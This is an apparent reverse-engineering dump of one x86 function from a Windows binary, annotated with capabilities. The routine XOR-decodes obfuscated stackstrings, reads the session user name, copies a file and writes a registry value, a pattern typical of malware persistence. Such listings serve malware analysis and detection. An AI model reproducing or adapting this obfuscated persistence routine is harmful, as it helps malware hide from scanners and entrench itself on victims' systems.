Function at 0x4ccaa0
Capabilities:
Contain obfuscated stackstrings
Copy file
Get session user name
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5574e9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x658
push esi
push edi
mov dword [ebp - 0x20], 0
lea edx, [ebp - 0x160]
mov dword [ebp - 0x18], 0xcce7b5ff
mov dword [ebp - 0x14], 0xf3c04e9c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x154], ecx
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x160]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x2b8]
mov dword [ebp - 0x28], eax
xorps xmm1, xmmword [ebp - 0x30]
push 0x583da4
movaps xmmword [ebp - 0x160], xmm1
call fcn.0041ac50
add esp, 4
mov dword [ebp - 4], 0
lea edx, [ebp - 0x170]
mov dword [ebp - 0x18], 0xffc180ea
mov dword [ebp - 0x14], 0xf3c01e98
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x170]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x560]
mov dword [ebp - 0x28], eax
xorps xmm1, xmmword [ebp - 0x30]
push 0x583da4
movaps xmmword [ebp - 0x170], xmm1
call fcn.0041ac50
add esp, 4
mov byte [ebp - 4], 1
mov dword [ebp - 0x18], 0xf9c784e0
mov dword [ebp - 0x14], 0xf3c01e99
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x174], ecx
lea edx, [ebp - 0x180]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x180]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x368]
mov dword [ebp - 0x28], eax
xorps xmm1, xmmword [ebp - 0x30]
push 0x583da4
movaps xmmword [ebp - 0x180], xmm1
call fcn.0041ac50
add esp, 4
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x148]
call fcn.00408a00
mov byte [ebp - 4], 3
lea eax, [ebp - 0x668]
push 0x104
push 0
push eax
mov dword [ebp - 0xe4], 0x104
call fcn.004359a0
add esp, 0xc
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0x668]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x18], 0xe8c39be1
mov dword [ebp - 0x14], 0xa3905f9d
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x18], 0x20117d32
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x190]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x190]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x190], xmm1
call fcn.004423d1
mov edx, eax
add esp, 4
mov esi, closesocket
test edx, edx
je 0x4cd37a
mov ecx, edx
mov dword [ebp - 0x74], 0
xorps xmm0, xmm0
mov dword [ebp - 0x70], 0
movups xmmword [ebp - 0x84], xmm0
lea edi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ccdd0
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x84]
call fcn.00403040
mov byte [ebp - 4], 4
mov dword [ebp - 0x18], 0xa980d4f1
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xfc], ecx
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xf4], ecx
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x100]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x28], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x100], xmm1
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4cce80
sub ecx, edx
lea eax, [ebp - 0x100]
push ecx
push eax
lea ecx, [ebp - 0x84]
call fcn.00418f00
cmp dword [ebp - 0x2a4], 0xf
lea eax, [ebp - 0x2b8]
push dword [ebp - 0x2a8]
cmova eax, dword [ebp - 0x2b8]
lea ecx, [ebp - 0x84]
push eax
call fcn.00418f00
cmp dword [ebp - 0x70], 0xf
lea ecx, [ebp - 0x84]
cmova ecx, dword [ebp - 0x84]
call fcn.004e4050
test al, al
jne 0x4cceef
lea ecx, [ebp - 0x84]
call fcn.00408860
test al, al
je 0x4cd32a
mov dword [ebp - 0x18], 0xccf8b183
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x1a0]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x1a0], xmm1
mov dword [ebp - 0x18], 0xa980d4f1
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x110]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x110], xmm1
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x110]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4cd008
sub ecx, edx
mov eax, esi
mov edx, dword [ebp - 0x74]
sub eax, edx
cmp eax, ecx
jb 0x4ce7c3
cmp dword [ebp - 0x70], 0xf
lea eax, [ebp - 0x84]
push ecx
cmova eax, dword [ebp - 0x84]
lea ecx, [ebp - 0x110]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x54]
lea ecx, [ebp - 0x3c8]
call fcn.0041e8a0
lea eax, [ebp - 0x2b8]
mov dword [ebp - 0x20], 4
push eax
lea edx, [ebp - 0x3c8]
lea ecx, [ebp - 0x410]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1a0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x258]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x410]
call fcn.00402df0
mov eax, 4
mov dword [ebp - 0x20], eax
and eax, 0xfffffffb
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x3c8]
call fcn.00402df0
sub esp, 0x18
lea eax, [ebp - 0x258]
mov ecx, esp
mov dword [ebp - 0x54], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xa
mov byte [ebp - 4], 9
call fcn.004e4120
add esp, 0x18
test al, al
jne 0x4cd31b
cmp dword [ebp - 0x244], 0xf
lea ecx, [ebp - 0x258]
push 0
cmova ecx, dword [ebp - 0x258]
lea eax, [ebp - 0x148]
cmp dword [ebp - 0x134], 0xf
push ecx
cmova eax, dword [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4cd31b
mov dword [ebp - 0x18], 0xdde6bbfe
mov dword [ebp - 0x14], 0x96b27fa6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], ecx
mov dword [ebp - 0x18], 0x22c712a
mov dword [ebp - 0x14], 0xcface68a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x18], 0xce9b4c81
mov dword [ebp - 0x14], 0x74ee8a06
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x18], 0x608400af
mov dword [ebp - 0x14], 0xca81f493
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x18], 0xd372860f
mov dword [ebp - 0x14], 0xbb92cf07
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0x18], 0x582582c4
mov dword [ebp - 0x14], 0x6d86f2
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x44], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xb624f261
mov dword [ebp - 0x14], 0xd4fbbc75
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x2d77deaa
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], 0x6d869c
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x350]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x350], xmm1
movaps xmm1, xmmword [ebp - 0x340]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x340], xmm1
movaps xmm1, xmmword [ebp - 0x330]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x330], xmm1
lea eax, [ebp - 0x88]
push eax
push 0x20006
push 0
lea eax, [ebp - 0x350]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cd31b
push dword [ebp - 0x248]
cmp dword [ebp - 0x244], 0xf
lea ecx, [ebp - 0x258]
lea eax, [ebp - 0x2b8]
cmova ecx, dword [ebp - 0x258]
cmp dword [ebp - 0x2a4], 0xf
push ecx
cmova eax, dword [ebp - 0x2b8]
push 1
push 0
push eax
push dword [ebp - 0x88]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x88]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x258]
call fcn.00402df0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x70]
cmp ecx, 0xf
jbe 0x4cd365
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4cd35b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4ce7c8
push ecx
push edx
call fcn.004338e3
add esp, 8
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x18], 0xf9cd91f9
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x1b0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x1b0]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x1b0], xmm1
call fcn.004423d1
mov dword [ebp - 0x18], 0xfccc98ec
mov edi, eax
mov dword [ebp - 0x14], 0xa0925b82
add esp, 4
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x1c0], ecx
mov dword [ebp - 0x1bc], edx
mov dword [ebp - 0x18], 0x270a6e26
mov dword [ebp - 0x14], 0xa09ac5b1
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x1b8], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x1c0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x1c0]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
mov dword [ebp - 0x54], edi
movaps xmmword [ebp - 0x1c0], xmm1
call fcn.004423d1
mov edx, eax
add esp, 4
test edx, edx
je 0x4ce30a
mov ecx, edx
mov dword [ebp - 0x5c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x58], 0
movups xmmword [ebp - 0x6c], xmm0
lea edi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4cd4d0
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x6c]
call fcn.00403040
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x18], 0xa980d4f1
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x120]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x28], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x120], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4cd576
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00418f00
cmp dword [ebp - 0x354], 0xf
lea eax, [ebp - 0x368]
push dword [ebp - 0x358]
cmova eax, dword [ebp - 0x368]
lea ecx, [ebp - 0x6c]
push eax
call fcn.00418f00
cmp dword [ebp - 0x58], 0xf
lea ecx, [ebp - 0x6c]
cmova ecx, dword [ebp - 0x6c]
call fcn.004e4050
test al, al
jne 0x4cd625
cmp dword [ebp - 0x58], 0xf
lea edx, [ebp - 0x6c]
xorps xmm0, xmm0
mov dword [ebp - 0x260], 0
cmova edx, dword [ebp - 0x6c]
mov ecx, edx
mov dword [ebp - 0x25c], 0
movups xmmword [ebp - 0x270], xmm0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4cd5f4
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x270]
call fcn.00403040
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x270]
or dword [ebp - 0x20], 1
call fcn.00408860
mov byte [ebp - 0x19], 0
test al, al
je 0x4cd629
mov byte [ebp - 0x19], 1
mov dword [ebp - 4], 0xb
mov eax, dword [ebp - 0x20]
test al, 1
je 0x4cd692
and eax, 0xfffffffe
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x25c]
cmp ecx, 0xf
jbe 0x4cd677
mov edx, dword [ebp - 0x270]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4cd66d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4ce7cd
push ecx
push edx
call fcn.004338e3
add esp, 8
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x25c], 0xf
mov byte [ebp - 0x270], 0
cmp byte [ebp - 0x19], 0
je 0x4ce2bd
mov dword [ebp - 0x18], 0xccf8b183
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x1d0]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x1d0], xmm1
mov dword [ebp - 0x18], 0xa980d4f1
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x130]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x130], xmm1
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x130]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4cd7b5
sub ecx, edx
mov edx, dword [ebp - 0x5c]
sub esi, edx
cmp esi, ecx
jb 0x4ce7d2
cmp dword [ebp - 0x58], 0xf
lea eax, [ebp - 0x6c]
push ecx
cmova eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x130]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x54]
lea ecx, [ebp - 0x3e0]
call fcn.0041e8a0
mov esi, dword [ebp - 0x20]
lea eax, [ebp - 0x368]
or esi, 0x20
lea edx, [ebp - 0x3e0]
push eax
lea ecx, [ebp - 0x428]
mov dword [ebp - 0x20], esi
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1d0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x380]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x428]
call fcn.00402df0
and esi, 0xffffffdf
mov dword [ebp - 0x20], esi
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x3e0]
call fcn.00402df0
sub esp, 0x18
lea eax, [ebp - 0x380]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x12
mov byte [ebp - 4], 0x11
call fcn.004e4120
add esp, 0x18
test al, al
jne 0x4ce2ae
cmp dword [ebp - 0x36c], 0xf
lea ecx, [ebp - 0x380]
push 0
cmova ecx, dword [ebp - 0x380]
lea eax, [ebp - 0x148]
cmp dword [ebp - 0x134], 0xf
push ecx
cmova eax, dword [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4ce2ae
mov dword [ebp - 0x18], 0x8bd29c8d
mov dword [ebp - 0x14], 0x90b331f1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x18], 0x340a7456
mov dword [ebp - 0x14], 0x8086c5aa
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x18], 0xb9ab4ac8
mov dword [ebp - 0x14], 0x53cdad27
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x18], 0x238c209d
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x300]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x300], xmm1
movaps xmm1, xmmword [ebp - 0x2f0]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x2f0], xmm1
mov dword [ebp - 0x18], 0xddaff48f
mov dword [ebp - 0x14], 0xf3e23ebf
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x1f0]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x1f0], xmm1
